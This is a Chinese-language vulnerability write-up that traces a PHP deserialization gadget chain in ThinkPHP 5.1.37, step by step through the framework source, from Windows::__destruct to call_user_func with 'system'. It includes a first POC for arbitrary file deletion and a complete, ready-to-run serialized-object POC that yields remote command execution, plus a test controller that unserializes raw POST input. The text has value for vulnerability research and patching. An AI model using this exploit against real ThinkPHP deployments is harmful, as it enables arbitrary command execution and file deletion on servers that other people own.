thinkphp5.1.* - 反序列化
环境
thinkphp-5.1.37
PHP 7.0.33
反序列化触发链
- 全局搜索
__destruct()
关键字,找到漏洞的起点:
- 跟进
removeFiles()
发现$this->files变量,而该removeFiles函数的功能就是删除文件,因此只要有反序列化点,就可实现任意文件删除,POC如下:
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
class Windows extends Pipes
{
private $files = ["test.txt"];
}
echo base64_encode(serialize(new Windows()));
?>
removeFiles()
中使用了file_exists
对$filename
进行处理。file_exists
函数种$filename
会被作为字符串处理,那么如果filename是某个类对象,就会触发__toString
方法。- 全局搜索
__toString
,发现Conversion类种存在如下:
- 跟进
toJson()
:
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
- 跟进
toArray()
:
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
....
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
注意到了$relation->visible($name)
,调用$relation
变量的visible方法,参数为$name
,而name是从$this->append
取出来的,而$this->append
我们可以通过自定义属性进行控制,那么name就可控,当$relation
也可控的话,令其为某个类对象,当调用visible方法不存在时,则会触发该类对象的__call
方法。
接下来就是寻找如何控制$relation
。
- 跟进
$this->getRelation
:
/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
发现可以直接return,而且后续判断语句为if (!$relation)
,所以可继续跟进。
- 跟进
$this->getAttr
,进入Attribute
类:
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @param array $item 数据
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
}
- 返回值由
$this->getData
确定,跟进该方法:
/**
* 获取对象原始数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
发现:其值可以由$this->data[$name]
确定,那么我们可以控制Attribute类属性data值,且$this->data[$name]的键name
是由最初append中的key决定的,也是我们可控的,所以我们可以控制$relation
。
- 梳理反序列化触发链:
# Windwos类
__dustruct > removeFiles() > file_exists($filename) > $filename可控 触发__toString()
# Conversion类
__toString() > toJson() > toArray() > $relation->visible($name) > $relation可控和$name可控 触发__call()
# $name可控
从Conversion类的append属性中读取,所以可控
# $relation可控
Attribute类中getAttr($key) > getData($name) > $data[$name]
其中data为Attribute类属性,键$name可由append控制,所以可控
发现
Conversion
和Attribute
为trait类:自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为
trait
。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use
关键字。trait类不能实例化,所以要找一个同时继承
Attribute
类和Conversion
类的子类。
- 全局搜索
Attribute
,找到了Model类:
- 总计目前的利用POC:
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["haha"=>[]];
$this->data = ["haha"=>new A()];
}
}
接下来就是寻找A类,该类要么是存在visible方法且里面有敏感函数可以直接让我们利用,要么就是没有visible方法但存在__call()方法可让我们利用。
敏感函数执行链
-
全局搜索
visible
,发现没有什么可利用的。 -
全局搜索
__call()
:
最终在Request.php
中找到一个__call
方法,且其中存在call_user_func_array
,且参数$this->hook
是可控的,$args
也是我们可控的(之前的反序列化触发链)。但是array_unshift
会在$args
头中插入$this,导致无法构造任意内容。
因此,要找到另一个函数,让它被这里的call_user_func_array
调用,但是它对所需的参数无严格要求,且最终也能触发敏感函数。
thinkphp中有多个远程代码执行洞都有一个filter覆盖的问题,所以尝试从这里入手。
- 找
filterValue
:
/**
* 递归过滤给定的值
* @access public
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
....
}
return $value;
}
存在call_user_func
敏感函数,往上找看$filters
和$$value
是否可控。
- 找到
input
:
/**
* 获取变量 支持过滤和默认值
* @access public
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
....
return $data;
}
会调用filterValue,需要继续往上找,看$filter
、$data
和$name
能否可控。
- 找到
param
:
/**
* 获取当前请求的参数
* @access public
* @param mixed $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function param($name = '', $default = null, $filter = '')
{
...
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
会调用input
,发现$this->param
我们是可控的,但是$filter
和$name
不明确,继续往上找。
- 找到
isAjax
:
/**
* 当前是否Ajax请求
* @access public
* @param bool $ajax true 获取原始ajax请求
* @return bool
*/
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
会调用param
,且通过$this->config['var_ajax']
给param函数的$name
参数赋值,且$this->config['var_ajax']
我们可控,分析一下赋值后的执行流程:
在param函数中name参数被赋值后且不是true,会调用$this->input($this->param, $name, $default, $filter);
,即input
函数第二个参数name被赋值且第一个参数$this->param
我们可控;在input函数中存在如下调用:
$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
$this->filterValue($data, $name, $filter);
- 跟进
getData
:
/**
* 获取数据
* @access public
* @param array $data 数据源
* @param string|false $name 字段名
* @return mixed
*/
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
该函数的$data
参数是由$this->param
可控,$name
参数来自于$this->config['var_ajax']
,返回值是这样进行赋值$data = $data[$val]
,即最终的返回值我们可控,也就是input函数中的$data
可控,那么$this->filterValue
函数的data参数也就可控,现在就差$filter
是否可控。
- 跟进
getFilter
:
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
发现返回的filter
值来自于$this->filter
,也就是可控的。
- 综上,对于filterValue函数来说,其参数
value
可控,filter
可控,那么其中所调用的call_user_func($filter, $value)
也就完全可控。从而执行恶意代码。
过程中提到input函数中
$this->param
这个值,虽然我们可以通过类属性控制它,但是发现可以在GET请求中加入参数对其进行赋值,进行个简单测试:<?php namespace app\index\controller; use think\Request; class Index { public function index(Request $request) { var_dump($request->param()); return 'haha'; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
- 梳理执行链:
# Model类__call方法,令$this->hook = ["visible"=>[$this,"isAjax"]];调用this->isAjax方法,经上面分析,this->isAjax方法对参数无要求,所以哪怕在$args头插入this也无所谓了。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
}
# 触发调用isAjax函数,令$this->config['var_ajax']='haha'
public function isAjax($ajax = false)
{
$result = $this->param($this->config['var_ajax']) ? true : $result;
}
# 调用param函数,name=$this->config['var_ajax']='haha';$this->param为GET请求传入的参数;filter暂时未知
public function param($name = '', $default = null, $filter = '')
{
return $this->input($this->param, $name, $default, $filter);
}
# 调用input函数,data=外部传入,{['haha']=>'ls'};name=$this->config['var_ajax']='haha';filter经过$this->getFilter($filter, $default)函数是filter=[0=>'system',1=>$default];
public function input($data = [], $name = '', $default = null, $filter = '')
{
$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);// 经过该函数filter=[0=>'system',1=>$default]
if (is_array($data)) {// data通过getData函数后不再是数组,data=’ls‘
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
}
# 调用filterValue函数,value=’ls‘;key=’haha‘这个函数里最后没用到;filters=[0=>'system',1=>$default]
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);//[0=>'system',1=>$default]pop完之后,filters=[0=>'system']
foreach ($filters as $filter) {
if (is_callable($filter)) {
$value = call_user_func($filter, $value);
}
}
}
# 调用call_user_func,filter=’system‘,value='ls'
POC
Model是一个抽象类,想要实例化,必须找到一个它的实现类,全局搜索extends Model
,找到Pivot类:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["haha"=>[]];
$this->data = ["haha"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => 'haha',
];
function __construct(){
$this->filter = "system";
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
测试页代码构造一个反序列化入口:
public function index()
{
$test = $_POST['cmd'];
unserialize(base64_decode($test));
return 'haha';
}
利用: